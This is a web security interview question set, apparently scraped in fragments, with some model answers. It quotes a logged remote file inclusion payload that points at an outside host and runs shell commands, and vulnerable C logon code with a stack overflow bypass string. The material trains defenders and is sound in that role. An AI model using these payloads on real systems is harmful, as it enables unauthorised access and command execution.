Web Security Interview Question
Web Security Interview Question
Web Security Interview Question
1. What do you see as the most critical and current threats effecting
Internet accessible websites?
5. What are the most important steps you would recommend for
securing a new web server? Web application?
If you were not using Apache as the reverse proxy, what Microsoft
application/tool could you use to mitigate this attack?
The error occurred while processing an element with a general identifier of (CFQUERY),
occupying document position (1:1) to (1:42) in the template file
K:\InetPub\clients\login\http\ailment.cfm
This error message indicates that the target web application if running
Microsoft SQL and discloses directory structures.
3. What application generated the log file entry below? What type of
attack is this? Assuming the index.php program is vulnerable, was
this attack successful?
========================================
Request: 200.158.8.207 - - [09/Oct/2004:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script
----------------------------------------
POST /index.php HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Accept: */*
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
X-Forwarded-For: 200.158.8.207
mod_security-message: Access denied with code 403. Pattern match "uname\x20-a" at
POST_PAYLOAD
mod_security-action: 403
65
lid=http://th3.ownz.p5.org.uk/lila.jpg?&cmd=cd /tmp;id;lsuname -a
What does this log entry indicate? How could you identify what the
contents are of the “hacked.htm” file that the attacker is trying to
upload?
5. You have been asked to review the source code for a compiled
script that is being used to validate logon credentials for a web
application. The file is called “logon_validate” and a typical logon
request looks like this –
“GET /cgi-bin/logon_validate?login=test&password=test”
void show_error(void) {
// AUTHENTICATION ERROR
exit(-1);
/**********************************/
/* Get Username from Query String */
/**********************************/
ch_ptr_begin=(char *)strstr(****QUERY_STRING****,"login=");
if (ch_ptr_begin==NULL)
show_error();
ch_ptr_begin+=6;
ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");
if (ch_ptr_end==NULL)
show_error();
*(ch_ptr_end++)='\0';
strcpy(user,ch_ptr_begin);
/**********************************/
/* Get Password from Query String */
/**********************************/
ch_ptr_begin=(char *)strstr(ch_ptr_end,"password=");
if (ch_ptr_begin==NULL)
show_error();
ch_ptr_begin+=9;
ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");
if (ch_ptr_end!=NULL) *(ch_ptr_end++)='\0';
strcpy(pass,ch_ptr_begin);
if (error_on_auth=='0') {
// AUTHENTICATION OK!!
} else {
// AUTHENTICATION ERROR
show_error();
Do you see any problems with this script? How could an attacker
exploit this script to bypass the authentication mechanisms in this
script? What are some mitigation options?
Goal of question – This is most likely the most complex question being
asked during the interview due to the fact that the applicant will need
to apply multiple layers of analysis, including both the attacker and
defender perspectives.
Reference “Smashing The Stack For Fun And Profit” for technical
details –
http://www.phrack.org/phrack/49/P49-14
The security issue with this script has to do with a buffer overflow
problem in the way that the script is using the “error_on_auth”
condition. The error_on_auth condition is initially declared to be “1”
which means that he user is not authenticated. The “user” condition
was declared directly after the error_on_auth and has been allocated
128 bytes. Due to the ordering of the declaration of the
error_on_auth and user parameters, they occupy adjacent locations on
the running stack. The result is that if the attacker submits a
username that is 129 bytes (with the last byte being “0”), they can
overwrite the error_on_auth data. A Unix command such as the
following would achieve this goal –
http://www.companyx.com/cgi-bin/validate_logon?logon=000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000
or
<Location /cgi-bin/validate_logon>
SecFilterSelective ARG_LOGIN “!^[a-zA-Z]”
</Location>
o You could also add another rule to restrict the size of the
username/password arguments to be less then 129
characters.
<Location /cgi-bin/validate_logon>
SecFilterSelective ARG_LOGIN “!^[a-zA-Z]”
SecFilterSelective ARG_LOGIN|ARG_PASSWORD “.{129,}”
</Location>